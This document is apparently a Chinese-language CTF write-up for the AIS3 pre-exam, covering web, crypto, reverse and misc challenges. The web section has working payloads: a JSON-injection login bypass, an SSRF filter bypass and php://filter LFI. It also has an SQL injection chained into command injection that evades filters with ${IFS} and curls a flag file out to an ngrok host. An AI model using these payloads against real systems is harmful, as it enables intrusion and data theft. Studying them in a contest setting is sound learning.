AIS3 pre-exam Write Up

Welcome

Cat Slayer fake | Nekogoroshi

先ssh -p 5566 h173@quiz.ais3.org
之後手動猜密碼即可

Web

Yet another login page

```
9
8 @app.route("/login", methods=['POST'])
7 def login():
6     data = '{"showflag": false, "username": "%s", "password": "%s"}' % (
5         request.form["username"], request.form['password']
4     )
3     session['user_data'] = data
2     print(data)
1     return redirect("/")
```

這一段有問題 首先他是個 format string 因為之後有一段會將這個data parse 成 json，所以可以在這動手腳。

```python
@app.route("/")
def index():
    def valid_user(user):
        return users_db.get(user['username']) == user['password']
    if 'user_data' not in session:
        return render_template("login.html", message="Login Please :D")

    user = json.loads(session['user_data'])
    if valid_user(user):
        if user['showflag'] == True and user['username'] != 'guest':
            return FLAG
        else:
            return render_template("welcome.html", username=user['username'])

    return render_template("login.html", message="Verify Failed :(")
```

Payload:

username : None","username":null, "2":[{"1":"

password : 3"}],"showflag":true,"password":null,"asd":"guest

那個字串就會便成

{"showflag": false, "username": "None","username":null, "2": [{"1":"", "password": "3"}],"showflag":true,"password":null,"asd":"guest"}

輸入就可以拿到 flag 力～

HaaS

讓它戳到自己

用

所以要用 127.0.0.1 但貌似它有 filter 所以拿特別一點的 http://2130706433

還有一點是因為它會 200 result 會變成"Alive"，所以要在 POST 時加上 status=404

curl -X POST http://quiz.ais3.org:7122/haas -d "url=http://2130706433&status=404"

【5/22 重要公告】

觀察到 http://quiz.ais3.org:8001/?module=modules/api

module 那個 parms 很有 LFI 的味道

所以就送 php://filter/convert.base64-encode/resource=modules ㄅ

http://quiz.ais3.org:8001/?module=
php://filter/convert.base64-encode/resource=modules/../index

之後把能看到的檔案看一看

看到這個

```php
<?php
header('Content-Type: application/json');

include "config.php";
$db = new SQLite3(SQLITE_DB_PATH);

if (isset($_GET['id'])) {
    $data = $db->querySingle("SELECT name, host, port FROM challenges WHERE id=${_GET['id']}", true);
    $host = str_replace(' ', '', $data['host']);
    $port = (int) $data['port'];
    $data['alive'] = strstr(shell_exec("timeout 1 nc -vz '$host' $port 2>&1"), "succeeded") !== FALSE;
    echo json_encode($data);
} else {
    $json_resp = [];
    $query_res = $db->query("SELECT * FROM challenges");
    while ($row = $query_res->fetchArray(SQLITE3_ASSOC)) $json_resp[] = $row;
    echo json_encode($json_resp);
}
```

原先以為是 sqli 但把表都看一看了沒發現任何可疑的資料

所以繼續看其他地方，發現有個 shell_exec 所以應該是能 cmdi 的，就往這邊走

注意這邊的 cmdi 還是必須倚賴 sqli 的注入，靠它來達成 cmdi

這是當初的 sqli payload

```
SELECT name, host, port FROM challenges WHERE id= 1 union select id,host,port FROM challenges limit 0,1 #
```

這邊要測試 cmdi 是否成功

所以在我的機器上監聽端口 8080

之後 inject 這段

```
curl 'e6aa20cd9088.ngrok.io'
```

這是 cmdi payload

```
quiz.ais3.org' 8001 2>&1; curl 'e6aa20cd9088.ngrok.io?'; timeout 1 nc -vz 'quiz.ais3.org
```

將 sql 查詢句子變成這樣

```
SELECT name, host, port FROM challenges WHERE id= 1 union select name,"quiz.ais3.org' 8001 2>&1; curl 'e6aa20cd9088.ngrok.io'; timeout 1 nc -vz 'quiz.ais3.org",8001 FROM challenges li
mit 6,1 #
```

然後看他的 source code 可以 發現它會 cmdcode 把 空白 變掉 所以要繞過

這邊用${IFS}

```
SELECT name, host, port FROM challenges WHERE id= 1 union select name,"quiz.ais3.org'${IFS}8001;${IFS}curl${IFS}'e6aa20cd9088.ngrok.lo';timeout${IFS}1${IFS}nc${IFS}-vz${IFS}'quiz.ais3
.org",8001 FROM challenges limit 0,1
```

主機這邊收到請求了，所以是可以 cmdi 的！ 到這邊已經 RCE 應該就可以 get shell 了

我原本想要用 reverse shell 但貌似會攔”&” 所以改成一樣 curl 但會帶回指令結果

於是注入以下

```
curl https://b91c9752141e.ngrok.io -d $(ls | base64)
```

總之 getshell 以下總 payload

```
SELECT name, host, port FROM challenges WHERE id= 1 union select name,"quiz.ais3.org'${IFS}8001;curl${IFS}https://b91c9752141e.ngrok.io${IFS}-d${IFS}$(cat${IFS}/flag_81c015863174cd0c1
4034cc60767c7f5|base64);timeout${IFS}1${IFS}nc${IFS}-vz${IFS}'quiz.ais3.org",8001 FROM challenges limit 0,1
```

這題好有趣 用到了三個知識點 LFI sqli cmdi 解這題時成就感爆棚，很贊

Crypto

Microchip

```python
def track(name, id) -> str:
    if len(name) % 4 == 0:
        padded = name + '4444'
    elif len(name) % 4 == 1:
        padded = name + '333'
    elif len(name) % 4 == 2:
        padded = name + '22'
    elif len(name) % 4 == 3:
        padded = name + '1'

    keys = list()
    temp = id
    for i in range(4):
        keys.append(temp%96)
        temp = int(temp / 96)

    result = ""
    for i in range(0, len(padded), 4):
        nums = list()
        for j in range(4):
            num = ord(padded[i+j])-32
            num = (num+keys[j]) % 96
            nums.append(num + 32)
        result += chr(num[3])
        result += chr(num[2])
        result += chr(num[1])
        result += chr(num[0])
    return result
```

先把題目給的 cpp 假 py 變成真的 python(XX

之後觀察它做的事，它會把 flag 變成 output.txt

```python
def sol(stu,keys):
    result = ''
    for i in range(0, len(stu), 4):
        nums = list()
        for j in range(3,-1,-1):
            num = ord(stu[i+j]) - 32
            num = (num+keys[3-j])%96
            nums.append(num+32)
        result += chr(nums[0])
        result += chr(nums[1])
        result += chr(nums[2])
        result += chr(nums[3])
    return result
stu = input()
keys = [27,54,9,86]
res = sol(stu,keys)
print(res)
```

之後撰寫 script.py 人腦二分搜(XX 猜出 key 就可以有 flag 为

ReSidentevilvillAge

觀察他的 server.py

發現他的 rsa 本身應該是沒有問題的，為了得出這個結論讓部會 RSA 的我找了一堆 CTF RSA tool(X 後來轉變方向到我一開始就發現的 d e 相反。

也就是你傳東西給它它回覆的其實是解冪的結果，所以這邊就可以用 選擇冪文漏洞中的隨機冪文漏洞，這樣就可以 exploit 了。

Reverse

Piano

這題出現一個剛情，原本亂暗沒效果，所以老老實實的 reverse。

我用 window 上的 dnSpy，看到了幾個可疑的 function

其中一個會把暗的情建的 id 家起來或減起來看是不是等於令一個 list

所以我做了一點國小數學後得出了最後的情建順序，發現是小心心 w

Peekora

這題給了一個 python pickle serilia 後的文字檔案 用 pickletool 來讓它便比較好看後，看一下 opcode 的東東就開始 reverse，得出了 flag

Misc

Microcheese

研究了前後的 code 差異，發現沒有 else，實際做一次發現這個漏洞可以讓我方 skip 一次，讓這個 nim 破局，於是讓局便變成只剩下一顆，拿下來就可以拿到 flag 了了